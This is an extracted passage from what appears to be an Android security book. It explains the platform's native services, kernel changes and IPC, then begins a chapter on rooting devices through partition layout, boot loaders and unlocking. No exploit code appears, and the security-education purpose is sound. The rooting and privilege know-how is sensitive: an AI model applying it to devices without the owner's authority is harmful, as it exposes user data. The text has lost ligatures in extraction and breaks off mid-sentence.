Chapter 2 ■ Android Security Design and Architecture 43 c02.indd 01:14:22:PM 02/24/2014 Page 43 init program initializes the user-space environment by executing a series of commands. However Android uses a custom implementation of init. Instead of executing run-level-based shell scripts from /etc/init.d Android executes commands based on directives found in /init.rc. For device-specif c direc- tives there may be a f le called /init.hw.rc where hw is the codename of the hardware for that specif c device. The following is a snippet of the contents of /init.rc on an HTC One V: service dbus /system/bin/dbus-daemon --system --nofork class main socket dbus stream 660 bluetooth bluetooth user bluetooth group bluetooth net_bt_admin service bluetoothd /system/bin/bluetoothd -n class main socket bluetooth stream 660 bluetooth bluetooth socket dbus_bluetooth stream 660 bluetooth bluetooth init.rc does not yet support applying capabilities so run as root and let bluetoothd drop uid to bluetooth with the right linux capabilities group bluetooth net_bt_admin misc disabled service bluetoothd_one /system/bin/bluetoothd -n class main socket bluetooth stream 660 bluetooth bluetooth socket dbus_bluetooth stream 660 bluetooth bluetooth init.rc does not yet support applying capabilities so run as root and let bluetoothd drop uid to bluetooth with the right linux capabilities group bluetooth net_bt_admin misc disabled oneshot Discretix DRM service dx_drm_server /system/bin/DxDrmServerIpc -f -o allow_other \ /data/DxDrm/fuse on property:ro.build.tagstest-keys start htc_ebdlogd on property:ro.build.tagsrelease-keys start htc_ebdlogd_rel service zchgd_offmode /system/bin/zchgd -pseudooffmode user root group root graphics disabled

slide 76:

44 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 44 These init scripts specify several tasks including ■ Starting services or daemons that should be started at boot through the service directive ■ Specifying the user and group under which the service should run per the indented arguments below each service entry ■ Setting system-wide properties and conf guration options that are exposed via the Property Service ■ Registering actions or commands to execute upon occurrence of certain events such as modif cation of a system property or mounting of a f le system through the “on” directive The Property Service Tucked inside Android’s init process is the Property Service which provides a persistent per-boot memory-mapped key-value conf guration facility. Many OS and framework components rely upon these properties which include items such as network interface conf guration radio options and even security-related settings the details of which are discussed in Chapter 3. Properties can be retrieved and set in numerous ways. For example using the command-line utilities getprop and setprop respectively programmatically in native code via property_get and property_set in libcutils or program- matically using the android.os.SystemProperties class which in turn calls the aforementioned native functions. An overview of the property service is shown in Figure 2-2. property setter property consumer property_workspace shared memory property service persistent file unix domain socket read write load Figure 2-2: The Android Property Service

slide 77:

Chapter 2 ■ Android Security Design and Architecture 45 c02.indd 01:14:22:PM 02/24/2014 Page 45 Running the getprop command on an Android device in this case an HTC One V you see output which includes DalvikVM options current wallpaper network interface conf guration and even vendor-specif c update URLs: rootandroid:/ getprop dalvik.vm.dexopt-flags: my dalvik.vm.heapgrowthlimit: 48m dalvik.vm.heapsize: 128m ... dhcp.wlan0.dns1: 192.168.1.1 dhcp.wlan0.dns2: dhcp.wlan0.dns3: dhcp.wlan0.dns4: dhcp.wlan0.gateway: 192.168.1.1 dhcp.wlan0.ipaddress: 192.168.1.125 dhcp.wlan0.leasetime: 7200 ... ro.htc.appupdate.exmsg.url: http://apu-msg.htc.com/extra-msg/rws/and-app/msg ro.htc.appupdate.exmsg.url_CN: http://apu-msg.htccomm.com.cn/extra-msg/rws/and-app/msg ro.htc.appupdate.url: http://apu-chin.htc.com/check-in/rws/and-app/update ... service.brcm.bt.activation: 0 service.brcm.bt.avrcp_pass_thru: 0 Some properties which are set as “read-only” cannot be changed—even by root though there are some device-specif c exceptions. These are designated by the ro pref x: ro.secure: 0 ro.serialno: HT26MTV01493 ro.setupwizard.enterprise_mode: 1 ro.setupwizard.mode: DISABLED ro.sf.lcd_density: 240 ro.telephony.default_network: 0 ro.use_data_netmgrd: true ro.vendor.extension_library: /system/lib/libqc-opt.so You can f nd some additional details of the Property Service and its security implications in Chapter 3. Radio Interface Layer The Radio Interface Layer RIL which is covered in detail in Chapter 11 pro- vides the functionality that puts the “phone” in “smartphone.” Without this component an Android device will not be able to make calls send or receive

slide 78:

46 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 46 text messages or access the Internet without Wi-Fi. As such it will be found running on any Android device with a cellular data or telephony capability. debuggerd Android’s primary crash reporting facility revolves around a daemon called debug- gerd. When the debugger daemon starts up it opens a connection to Android’s logging facility and starts listening for clients on an abstract namespace socket. When each program begins the linker installs signal handlers to deal with certain signals. When one of the captured signals occurs the kernel executes the signal handler function debugger_signal_handler. This handler function connects to aforementioned socket as def ned by DEBUGGER_SOCKET_NAME. After it’s con- nected the linker notif es the other end of the socket debuggerd that the target process has crashed. This serves to notify debuggerd that it should invoke its processing and thus create a crash report. ADB The Android Debugging Bridge or ADB is composed of a few pieces including the adbd daemon on the Android device the adb server on the host worksta- tion and the corresponding adb command-line client. The server manages connectivity between the client and the daemon running on the target device facilitating tasks such as executing a shell debugging apps via the Java Debug Wire Protocol forwarding sockets and ports f le transfer and installing/ uninstalling app packages. As a brief example you can run the adb devices command to list your attached devices. As ADB is not already running on our host it is initialized listening on 5037 /tcp for client connections. Next you can specify a target device by its serial number and run adb shell giving you a command shell on the device: adb devices daemon not running. starting it now on port 5037 daemon started successfully List of devices attached D025A0A024441MGK device HT26MTV01493 device adb -s HT26MTV01493 shell rootandroid:/ We can see also that the ADB daemon adbd is running on the target device by grepping for the process or in this case using pgrep:

slide 79:

Chapter 2 ■ Android Security Design and Architecture 47 c02.indd 01:14:22:PM 02/24/2014 Page 47 rootandroid:/ busybox pgrep -l adbd 2103 /sbin/adbd ADB is pivotal for developing with Android devices and emulators. As such we’ll be using it heavily throughout the book. You can f nd detailed informa- tion on using the adb command at http://developer.android.com/tools/ help/adb.html. Volume Daemon The Volume Daemon or vold is responsible for mounting and unmounting various f le systems on Android. For instance when an SD card is inserted vold processes that event by checking the SD card’s f le system for errors such as through launching fsck and mounting the card onto the appropriate path i.e. /mnt/sdcard. When the card is pulled or ejected manually by the user vold unmounts the target volume. The Volume Daemon also handles mounting and unmounting Android Secure Container ASEC f les. These are used for encrypting app packages when they are stored on insecure f le systems such as FAT. They are mounted via loopback devices at app load time typically onto /mnt/asec. Opaque Binary Blobs OBBs are also mounted and unmounted by the Volume Daemon. These f les are packaged with an application to store data encrypted with a shared secret. Unlike ASEC containers however the calls to mount and unmount OBBs are performed by the applications themselves rather than the system. The following code snippet demonstrates creating an OBB with SuperSecretKey as the shared key: obbFile "path/to/some/obbfile" storageRef StorageManager getSystemServiceSTORAGE_SERVICE storageRef.mountObbobbFile "SuperSecretKey" obbListener obbContent storageRef.getMountedObbPathobbFile Given that the Volume Daemon runs as root it is an enticing target in both its functionality and its potential vulnerability. You can f nd details on privilege escalation attacks against vold and other similar services in Chapter 3. Other Services There are numerous other services that run on many Android devices provid- ing additional—though not necessarily critical—functionality depending on the device and the service. Table 2-2 highlights some of these services their purposes and their privilege levels on the system UID GID and any supple- mental groups for that user which may be specif ed in the system’s init.rc f les.

slide 80:

48 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 48 Table 2-2: User-space Native Services SERVICE DESCRIPTION UID GID SUPPLEMENTAL GROUPS netd Present in Android 2.2+ used by the Network Management Service for confi guring network interfaces running the PPP daemon pppd tether- ing and other similar tasks. UID: 0 / root GID: 0 / root mediaserver Responsible for starting media related services including Audio Flinger Media Player Service Camera Service and Audio Policy Service. UID: 1013 / media GID: 1005 / audio Groups: 1006 / camera 1026 / drmpc 3001 / net_bt_admin 3002 / net_bt 3003 / inet 3007 / net_bw_acct dbus- daemon Manages D-Bus–specifi c IPC/message passing pri- marily for non-Android specifi c components. UID: 1002 / bluetooth GID: 1002 / bluetooth Groups: 3001 / net_bt_admin installd Manages installation of application packages on the devices on Package Manager’s behalf includ- ing initial optimization of Dalvik Executable DEX bytecode in application packages APKs. UID: 1012 / install GID: 1012 / install On pre-4.2 devices: UID: 0 /root GID: 0 /root keystore Responsible for secure storage of key-value pairs on the system protected by a user-defi ned password. UID: 1017 / keystore GID: 1017 / keystore Groups: 1026 / drmpc drmserver Provides the low-level operations for Digital Rights Management DRM. Apps interface with this service by way of higher-level classes in the DRM package in Android 4.0+. UID: 1019 / drm GID: 1019 / drm Groups: 1026 / drm- rpc 3003 / inet

slide 81:

Chapter 2 ■ Android Security Design and Architecture 49 c02.indd 01:14:22:PM 02/24/2014 Page 49 SERVICE DESCRIPTION UID GID SUPPLEMENTAL GROUPS serviceman- ager Acts as the arbiter for registration/deregistration of app services with Binder IPC endpoints. UID: 1000 / system GID: 1000 / system surface- flinger Present in Android 4.0+ the display compositor responsible for building the graphics frame/screen to be displayed and sending to the graphics card driver. UID: 1000 / system GID: 1000 / system Ueventd Present in Android 2.2+ user-space daemon for handling system and device events and taking cor- responding actions such as loading appropriate kernel modules. UID: 0 / root GID: 0 /root As stated previously this is by no means an exhaustive list. Comparing the process list init.rc and f le system of various devices to that of a Nexus device often reveals a plethora of nonstandard services. These are particularly inter- esting because their code may not be of the same quality of the core services present in all Android devices. The Kernel Although Android’s foundation the Linux kernel is fairly well documented and understood there are some notable differences between the vanilla Linux kernel and that which is used by Android. This section explains some of those changes especially those which are pertinent to Android security. The Android Fork Early on Google created an Android-centric fork of the Linux kernel as many modif cations and additions weren’t compatible with the Linux kernel mainline tree. Overall this includes approximately 250 patches ranging from f le system support and networking tweaks to process and memory management facili- ties. According to one kernel engineer most of these patches “represented a limitation that the Android developers found in the Linux kernel.” In March 2012 the Linux kernel maintainers merged the Android-specif c kernel modi- f cations into the mainline tree. Table 2-3 highlights some of the additions/ changes to the mainline kernel. We discuss several of these in more detail later in this section.

slide 82:

50 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 50 Table 2-3: Android’s major changes to Linux kernel KERNEL CHANGE DESCRIPTION Binder IPC mechanism with additional features such as security validation of callers/callees used by numerous system and framework services ashmem Anonymous Shared Memory fi le-based shared memory allocator uses Binder IPC to allow processes to identify memory region fi le descriptors pmem Process Memory Allocator used for managing large contiguous regions of shared memory logger System-wide logging facility RAM_CONSOLE Stores kernel log messages in RAM for viewing after a kernel panic “oom” modifi cations “Out of memory”-killer kills processes as memory runs low in Android fork OOM kills processes sooner than vanilla kernel as memory is being depleted wakelocks Power management feature to keep a device from entering low-power state and staying responsive Alarm Timers Kernel interface for AlarmManager to instruct kernel to schedule “waking up” Paranoid Networking Restricts certain networking operations and features to specifi c group IDs timed output / gpio Allows user-space programs to change and restore GPIO registers after a period of time yaff s2 Support for the yaff s2 fl ash fi le system Binder Perhaps one of the most important additions to Android’s Linux kernel was a driver known as Binder . Binder is an IPC mechanism based on a modif ed version of OpenBinder originally developed by Be Inc. and later Palm Inc. Android’s Binder is relatively small approximately 4000 lines of source code across two f les but is pivotal to much of Android’s functionality. In a nutshell the Binder kernel driver facilitates the overall Binder archi- tecture. The Binder—as an architecture—operates in a client-server model. It allows a process to invoke methods in “remote” processes synchronously. The Binder architecture abstracts away underlying details making such method calls seem as though they were local function calls. Figure 2-3 shows Binder’s communication f ow.

slide 83:

Chapter 2 ■ Android Security Design and Architecture 51 c02.indd 01:14:22:PM 02/24/2014 Page 51 Process A Proxy Binder Driver Process B with Threads Figure 2-3: Binder communication Binder also uses process ID PID and UID information as a means of identifying the calling process allowing the callee to make decisions about access control. This typically occurs through calls to methods like Binder .getCallingUid and Binder.getCallingPid or through higher-level checks such as checkCallingPermission. An example of this in practice would be the ACCESS_SURFACE_FLINGER permis- sion. This permission is typically granted only to the graphics system user and allows access to the Binder IPC interface of the Surface Flinger graphics service. Furthermore the caller’s group membership—and subsequent bearing of the required permission—is checked through a series of calls to the aforementioned functions as illustrated by the following code snippet: const int pid ipc-getCallingPid const int uid ipc-getCallingUid if uid AID_GRAPHICS PermissionCache::checkPermissionsReadFramebuffer pid uid ALOGE"Permission Denial: " "cant read framebuffer pidd uidd" pid uid return PERMISSION_DENIED At a higher level exposed IPC methods such as those provided by bound Services are typically distilled into an abstract interface via Android Interface Def nition Language AIDL. AIDL allows for two applications to use “ agreed-upon” or stan- dard interfaces for sending and receiving data keeping the interface separate from the implementation. AIDL is akin to other Interface Def nition Language f les or in a way C/C++ header f les. Consider the following sample AIDL snippet:

slide 84:

52 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 52 // IRemoteService.aidl package com.example.android // Declare any non-default types here with import statements / Example service interface / interface IRemoteService / Request the process ID of this service to do evil things with it. / int getPid / Demonstrates some basic types that you can use as parameters and return values in AIDL. / void basicTypesint anInt long aLong boolean aBoolean float aFloat double aDouble String aString This AIDL example def nes a simple interface IRemoteService along with two methods: getPid and basicTypes. An application that binds to the service exposing this interface would subsequently be able to call the aforementioned methods—facilitated by Binder. ashmem Anonymous Shared Memory or ashmem for short was another addition to the Android Linux kernel fork. The ashmem driver basically provides a f le-based reference-counted shared memory interface. Its use is prevalent across much of Android’s core components such as Surface Flinger Audio Flinger System Server and the DalvikVM. Because ashmem is designed to automatically shrink memory caches and reclaim memory regions when available system-wide memory is low it is well suited for low-memory environments. At a low level using ashmem is as simple as calling ashmem_create_region and using mmap on the returned f le descriptor: int fd ashmem_create_region"SomeAshmem" size iffd 0 data mmapNULL size PROT_READ | PROT_WRITE MAP_SHARED fd 0 ... At a higher level the Android Framework provides the MemoryFile class which serves as a wrapper around the ashmem driver. Furthermore processes can use the Binder facility to later share these memory objects leveraging the security features of Binder to restrict access. Incidentally ashmem proved to be the source of a pretty serious f aw in early 2011 allowing for a privilege escalation via Android properties. This is covered in greater detail in Chapter 3.

slide 85:

Chapter 2 ■ Android Security Design and Architecture 53 c02.indd 01:14:22:PM 02/24/2014 Page 53 pmem Another Android-specif c custom driver is pmem which manages large physi- cally contiguous memory ranging between 1 megabyte MB and 16MB or more depending on the implementation. These regions are special in that they are shared between user-space processes and other kernel drivers such as GPU drivers. Unlike ashmem the pmem driver requires the allocating process to hold a f le descriptor to the pmem memory heap until all other references are closed. Logger Though Android’s kernel still maintains its own Linux-based kernel-logging mechanism it also uses another logging subsystem colloquially referred to as the logger. This driver acts as the support for the logcat command used to view log buffers. It provides four separate log buffers depending on the type of information: main radio event and system. Figure 2-4 shows the f ow of log events and components that assist logger. The main buffer is often the most voluminous and is the source for application- related events. Applications typically call a method from the android.util.Log class where the invoked method corresponds to the log entry priority level—for example the Log.i method for “informational” Log.d for “ debug” or Log.e for “error” level logs much like syslog. Native program Java program android.util.Log liblog stdout /stderr User Kernel Host ADT in Eclipse adb logcat main radio system event /dev/log/main /dev/log/radio /dev/log/event /dev/log/system /dev/log/main /dev/log/radio /dev/log/event /dev/log/system 64KB 256KB 64KB com.android.internal.os AndroidPrintstream 64KB logger Target System.out /System.err logcat adbd stdout adbserver Overview of Android Logging System Figure 2-4: Android logging system architecture

slide 86:

54 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 54 The system buffer is also a source of much information namely for system-wide events generated by system processes. These processes utilize the println_native method in the android.util.Slog class. This method in turn calls native code specif c to logging to this particular buffer. Log messages can be retrieved using the logcat command with both the main and system buffers being the default sources. In the following code we run adb -d logcat to see what is happening on the attached device: adb -d logcat --------- beginning of /dev/log/system D/MobileDataStateTracker 1600: null: Broadcast received: ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnTypenull received apnTypeinternet D/MobileDataStateTracker 1600: null: Broadcast received: ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnTypenull received apnTypeinternet D/MobileDataStateTracker 1600: httpproxy: Broadcast received: ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnTypehttpproxy received apnTypeinternet D/MobileDataStateTracker 1600: null: Broadcast received: ACTION_ANY_DATA_CONNECTION_STATE_CHANGEDmApnTypenull received apnTypeinternet ... --------- beginning of /dev/log/main ... D/memalloc 1743: /dev/pmem: Unmapping buffer base:0x5396a000 size:12820480 offset:11284480 D/memalloc 1743: /dev/pmem: Unmapping buffer base:0x532f8000 size:1536000 offset:0 D/memalloc 1743: /dev/pmem: Unmapping buffer base:0x546e7000 size:3072000 offset:1536000 D/libEGL 4887: loaded /system/lib/egl/libGLESv1_CM_adreno200.so D/libEGL 4887: loaded /system/lib/egl/libGLESv2_adreno200.so I/Adreno200-EGLSUB 4887: ConfigWindowMatch:2078: Format RGBA_8888. D/OpenGLRenderer 4887: Enabling debug mode 0 V/chromium 4887: external/chromium/net/host_resolver_helper/host_ resolver_helper.cc:66: 0204/172737:INFO:host_resolver_helper.cc66 DNSPreResolver::Init got hostprovider:0x5281d220 V/chromium 4887: external/chromium/net/base/host_resolver_impl.cc:1515: 0204/172737:INFO:host_resolver_impl.cc1515 HostResolverImpl::SetPreresolver preresolver:0x013974d8 V/WebRequest 4887: WebRequest::WebRequest setPriority 0 I/InputManagerService 1600: unbindCurrentClientLocked Disable input method client. I/InputManagerService 1600: startInputLocked Enable input method client. V/chromium 4887: external/chromium/net/disk_cache/ hostres_plugin_bridge.cc:52: 0204/172737:INFO:hostres_ plugin_bridge.cc52 StatHubCreateHostResPlugin initializing... ...

slide 87:

Chapter 2 ■ Android Security Design and Architecture 55 c02.indd 01:14:22:PM 02/24/2014 Page 55 The logcat command is so commonly executed that ADB actually provides a shortcut for running it on a target device. Throughout the course of the book we make extensive use of the logcat command to monitor processes and overall system state. Paranoid Networking The Android kernel restricts network operations based on supplementary group membership of the calling process—a kernel modif cation known as Paranoid Networking. At a high level this involves mapping an AID and subsequently a GID to an application-level permission declaration or request. For example the manifest permission android.permission.INTERNET effectively maps to the AID_INET AID—or GID 3003. These groups IDs and their respective capabilities are def ned in include/linux/android_aid.h in the kernel source tree and are described in Table 2-4. Table 2-4: Networking capabilities by group AID DEFINITION GROUP ID / NAME CAPABILITY AID_NET_BT_ADMIN 3001 / net_bt_admin Allows for creation of any Bluetooth socket as well as diagnoses and manages Bluetooth connections AID_NET_BT 3002 / net_bt Allows for creation of SCO RFCOMM or L2CAP Bluetooth sockets AID_INET 3003 / inet Allows for creation of AF_INET and AF_INET6 sockets AID_NET_RAW 3004 / net_raw Allows the use of RAW and PACKET sockets AID_NET_ADMIN 3005 / net_admin Grants the CAP_NET_ADMIN capability allowing for network interface routing table and socket manipulation You can f nd additional Android-specif c group IDs in the AOSP source repository in system/core/include/private/android_filesystem_config.h. Complex Security Complex Exploits After taking a closer look at the design and architecture of Android it is clear that the Android operating system developers created a very complex system. Their design allows them to adhere to the principle of least privilege which states that any particular component should have access only to things that it absolutely requires. Throughout this book you will see substantial evidence of the use of this principle. Although it serves to improve security it also increases complexity .

slide 88:

56 Chapter 2 ■ Android Security Design and Architecture c02.indd 01:14:22:PM 02/24/2014 Page 56 Process isolation and privilege reduction are techniques that are often a cornerstone in secure system design. The complexities of these techniques com- plicate the system for both developers and attackers which increase the cost of development for both parties. When an attacker is crafting his attack he must take the time to fully understand the complexities involved. With a system like Android exploiting a single vulnerability may not be enough to get full access to the system. Instead the attacker may have to exploit several vulnerabilities to achieve the objective. To summarize successfully attacking a complex system requires a complex exploit. A great real-world example of this concept is the “ diaggetroot” exploit used to root the HTC J Butterf y. To achieve root access that exploit leveraged multiple complementary issues. That particular exploit is discussed in further detail in Chapter 3. Summary This chapter gave an overview of the security design and architecture of Android. We introduced the Android sandbox and the permissions models used by Android. This included Android’s special implementation of Unix UID/GID mappings AIDs as well as the restrictions and capabilities enforced through- out the system. We also covered the logical layers of Android including applications the Android Framework the DalvikVM user-space native code and the Linux kernel. For each of these layers we discussed key components especially those that are security related. We highlighted important additions and modif cations that the Android developers made to the Linux kernel. This fairly high-level coverage of Android’s overall design helps frame the remaining chapters which dive even further into the components and layers introduced in this chapter. The next chapter explains the how and why of taking full control of your Android device. It discusses several generic methods for doing so as well as some past techniques that rely on specif c vulnerabilities.

slide 89:

57 c03.indd 12:15:57:PM 03/04/2014 Page 57 The process of gaining super user privileges on an Android device is commonly called rooting. The system super user account is ubiquitously called root hence the term rooting. This special account has rights and permissions over all f les and programs on a UNIX-based system. It has full control over the operating system. There are many reasons why someone would like to achieve administrative privileges on an Android device. For the purposes of this book our primary reason is to audit the security of an Android device without being conf ned by UNIX permissions. However some people want to access or alter system f les to change a hard-coded conf guration or behavior or to modify the look and feel with custom themes or boot animations. Rooting also enables users to uninstall pre-installed applications do full system backups and restores or load custom kernel images and modules. Also a whole class of apps exists that require root permissions to run. These are typically called root apps and include programs such as iptables-based f rewalls ad-blockers overclocking or tethering applications. Regardless of your reason to root you should be concerned that the process of rooting compromises the security of your device. One reason is that all user data is exposed to applications that have been granted root permissions. Further it could leave an open door for someone to extract all user data from the device if you lose it or it is stolen especially if security mechanisms such as boot loader locks or signed recovery updates have been removed while rooting it. CHAPTER 3 Rooting Your Device

slide 90:

58 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 58 This chapter covers the process of rooting an Android device in a generic way without giving specif c details about a concrete Android version or device model. It also explains the security implications of each step performed to gain root. Finally the chapter provides an overview of some f aws that have been used for rooting Android devices in the past. These f aws have been f xed in current Android releases. WARNING Rooting your device if you do not know what you are doing can cause your phone to stop functioning correctly. This is especially true if you modify any system fi les. Thankfully most Android devices can be returned to the stock fac- tory state if needed. Understanding the Partition Layout Partitions are logical storage units or divisions made inside the device’s persistent storage memory. The layout refers to the order offsets and sizes of the various partitions. The partition layout is handled by the boot loader in most devices although in some rare cases it can also be handled by the kernel itself. This low-level storage partitioning is crucial to proper device functionality. The partition layout varies between vendors and platforms. Two different devices typically do not have the same partitions or the same layout. However a few partitions are present in all Android devices. The most common of these are the boot system data recovery and cache partitions. Generally speaking the device’s NAND f ash memory is partitioned using the following partition layout: ■ boot loader: Stores the phone’s boot loader program which takes care of initializing the hardware when the phone boots booting the Android kernel and implementing alternative boot modes such as download mode. ■ splash: Stores the f rst splash screen image seen right after powering on the device. This usually contains the manufacturer’s or operator’s logo. On some devices the splash screen bitmap is embedded inside the boot loader itself rather than being stored in a separate partition. ■ boot: Stores the Android boot image which consists of a Linux kernel zImage and the root f le system ram disk initrd. ■ recovery: Stores a minimal Android boot image that provides maintenance functions and serves as a failsafe. ■ system: Stores the Android system image that is mounted as /system on a device. This image contains the Android framework libraries system binaries and pre-installed applications. ■ userdata: Also called the data partition this is the device’s internal stor- age for application data and user f les such as pictures videos audio and downloads. This is mounted as /data on a booted system.

slide 91:

Chapter 3 ■ Rooting Your Device 59 c03.indd 12:15:57:PM 03/04/2014 Page 59 ■ cache: Used to store various utility f les such as recovery logs and update packages downloaded over-the-air. On devices with applications installed on an SD card it may also contain the dalvik-cache folder which stores the Dalvik Virtual Machine VM cache. ■ radio: A partition that stores the baseband image. This partition is usually present only on devices with telephony capabilities. Determining the Partition Layout You can obtain the partition layout of a particular device in several ways. First you can look at the contents of the partitions entry in the /proc f le system. Following are the contents of this entry on a Samsung Galaxy Nexus running Android 4.2.1: shellandroid:/data cat /proc/partitions major minor blocks name 31 0 1024 mtdblock0 179 0 15388672 mmcblk0 179 1 128 mmcblk0p1 179 2 3584 mmcblk0p2 179 3 20480 mmcblk0p3 179 4 8192 mmcblk0p4 179 5 4096 mmcblk0p5 179 6 4096 mmcblk0p6 179 7 8192 mmcblk0p7 259 0 12224 mmcblk0p8 259 1 16384 mmcblk0p9 259 2 669696 mmcblk0p10 259 3 442368 mmcblk0p11 259 4 14198767 mmcblk0p12 259 5 64 mmcblk0p13 179 16 512 mmcblk0boot1 179 8 512 mmcblk0boot0 In addition to the proc entry it is also possible to get a mapping of these device f les to their logical functions. To do this check the contents of the System-on- Chip SoC specif c directory in /dev/block/platform. There you should f nd a directory called by-name where each partition name is linked to its correspond- ing block device. The following excerpt shows the contents of this directory on the same Samsung Galaxy Nexus as the previous example. shellandroid:/dev/block/platform/omap/omap_hsmmc.0/by-name ls -l lrwxrwxrwx root root 2013-01-30 20:43 boot - /dev/block/mmcblk0p7 lrwxrwxrwx root root 2013-01-30 20:43 cache - /dev/block/mmcblk0p11 lrwxrwxrwx root root 2013-01-30 20:43 dgs - /dev/block/mmcblk0p6 lrwxrwxrwx root root 2013-01-30 20:43 efs - /dev/block/mmcblk0p3 lrwxrwxrwx root root 2013-01-30 20:43 metadata - /dev/block/mmcblk0p13 lrwxrwxrwx root root 2013-01-30 20:43 misc - /dev/block/mmcblk0p5 lrwxrwxrwx root root 2013-01-30 20:43 param - /dev/block/mmcblk0p4

slide 92:

60 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 60 lrwxrwxrwx root root 2013-01-30 20:43 radio - /dev/block/mmcblk0p9 lrwxrwxrwx root root 2013-01-30 20:43 recovery - /dev/block/mmcblk0p8 lrwxrwxrwx root root 2013-01-30 20:43 sbl - /dev/block/mmcblk0p2 lrwxrwxrwx root root 2013-01-30 20:43 system - /dev/block/mmcblk0p10 lrwxrwxrwx root root 2013-01-30 20:43 userdata - /dev/block/mmcblk0p12 lrwxrwxrwx root root 2013-01-30 20:43 xloader - /dev/block/mmcblk0p1 Further still there are other places where you can obtain information about the partition layout. The /etc/vold.fstab f le the recovery log /cache/ recovery/last_log and the kernel logs via dmesg or /proc/kmsg are known to contain partition layout information in some cases. If all else fails you can f nd some information about partitions using the mount command or examin- ing /proc/mounts. Understanding the Boot Process The boot loader is usually the f rst thing that runs when the hardware is powered on. On most devices the boot loader is manufacturer’s proprietary code that takes care of low-level hardware initialization setup clocks internal RAM boot media and so on and provides support for loading recovery images or putting the phone into download mode. The boot loader itself is usually comprised of multiple stages but we only consider it as a whole here. When the boot loader has f nished initializing the hardware it loads the Android kernel and initrd from the boot partition into RAM. Finally it jumps into the kernel to let it continue the boot process. The Android kernel does all the tasks needed for the Android system to run properly on the device. For example it will initialize memory input/output I/O areas memory protections interrupt handlers the CPU scheduler device drivers and so on. Finally it mounts the root f le system and starts the f rst user-space process init. The init process is the father of all other user-space processes. When it starts the root f le system from the initrd is still mounted read/write. The /init.rc script serves as the conf guration f le for init. It specif es the actions to take while initializing the operating system’s user-space components. This includes starting some core Android services such as rild for telephony mtpd for VPN access and the Android Debug Bridge daemon adbd. One of the services Zygote creates the Dalvik VM and starts the f rst Java component System Server. Finally other Android Framework services such as the Telephony Manager are started. The following shows an excerpt from the init.rc script of an LG Optimus Elite VM696. You can f nd more information about the format of this f le in

slide 93:

Chapter 3 ■ Rooting Your Device 61 c03.indd 12:15:57:PM 03/04/2014 Page 61 the system/core/init/readme.txt f le from the Android Open Source Project AOSP repository. ... service adbd /sbin/adbd disabled ... service ril-daemon /system/bin/rild socket rild stream 660 root radio socket rild-debug stream 660 radio system user root group radio cache inet misc audio sdcard_rw qcom_oncrpc diag ... service zygote /system/bin/app_process -Xzygote /system/bin --zygote --start-system-server socket zygote stream 660 root system onrestart write /sys/android_power/request_state wake onrestart write /sys/power/state on onrestart restart media onrestart restart netd ... When the system boot has been completed an ACTION _BOOT _COMPLETED event is broadcasted to all applications that have registered to receive this broad- cast intent in their manifest. When this is complete the system is considered fully booted. Accessing Download Mode In the boot process description we mentioned that the boot loader usually pro- vides support for putting the phone into download mode. This mode enables the user to update the persistent storage at a low level through a process typically called f ashing. Depending on the device f ashing might be available via fastboot protocol a proprietary protocol or even both. For example the Samsung Galaxy Nexus supports both the proprietary ODIN mode and fastboot. NOTE Fastboot is the standard Android protocol for fl ashing full disk images to specifi c partitions over USB. The fastboot client utility is a command-line tool that you can obtain from the Android Software Development Kit SDK available at https:// developer.android.com/sdk/ or the AOSP repository. Entering alternate modes such as download mode depends on the boot loader. When certain key-press combinations are held during boot the boot loader starts download mode instead of doing the normal Android kernel boot process. The exact key-press combination varies from device to

slide 94:

62 Chapter 3 ■ Rooting Your Device c03.indd 12:15:57:PM 03/04/2014 Page 62 device but you can usually easily f nd it online. After it’s in download mode the device should await a host PC connection through Universal Serial Bus USB. Figure 3-1 shows the fastboot and ODIN mode screens. Figure 3-1: Fastboot and ODIN mode When a USB connection has been established between the boot loader and the host computer communication takes place using the device-supported download protocol. These protocols facilitate executing various tasks including f ashing NAND partitions rebooting the device downloading and executing an alternate kernel image and so on. Locked and Unlocked Boot Loaders Generally speaking locked boot loaders prevent the end user from performing modif cations to the device’s f rmware by implementing restrictions at the boot loader level. Those restrictions can vary depending on the manufacturer’s deci- sion but usually there is a cryptographic signature verif cation that prevents booting and/or f ashing unsigned code to the device. Some devices such as cheap Chinese Android devices do not include any boot loader restrictions. On Google Nexus devices the boot loader is locked by default. However there’s an off cial mechanism in place that enables owners to unlock it. If the end user decides to run a custom kernel recovery image or operating system

slide 95:

Chapter 3 ■ Rooting Your Device 63 c03.indd 12:15:57:PM 03/04/2014 Page 63 image the boot loader needs to be unlocked f rst. For these devices unlocking the boot loader is as simple as putting the device into fastboot mode and running the command fastboot oem unlock. This requires the command-line fastboot client utility which is available in the Android SDK or the AOSP repository. Some manufacturers also support unlocking the boot loaders on their devices on a per-device basis. In some cases the process uses the standard Original Equipment Manufacturer OEM unlock procedure through fastboot. However some cases revolve around some proprietary mechanism such as a website or unlock portal. These portals usually require the owner to register his device and forfeit his warranty to be able to unlock its boot loader. As of this writing HTC Motorola and Sony support unlocking at least some of their devices. Unlocking the boot loader carries serious security implications. If the device is lost or stolen all data on it can be recovered by an attacker simply by uploading a custom Android boot image or f ashing a custom recovery image. After doing so the attacker has full access to the data contained on the device’s partitions. This includes Google accounts documents contacts stored passwords appli- cation data camera pictures and more. Because of this a factory data reset is performed on the phone when unlocking a locked boot loader. This ensures all the end user’s data are erased and the attacker should not be able to access it. WARNING We highly recommended using Android device encryption. Even after all data has been erased it is possible to forensically recover erased data on some devices. Stock and Custom Recovery Images The Android recovery system is Android’s standard mechanism that allows software updates to replace the entirety of the system software preinstalled on the device without wiping user data. It is mainly used to apply updates down- loaded manually or Over-the-Air OTA. Such updates are applied off ine after a reboot. In addition to applying OTA updates the recovery can perform other tasks such as wiping the user data and cache partitions. The recovery image is stored on the recovery partition and consists of a mini- mal Linux image with a simple user 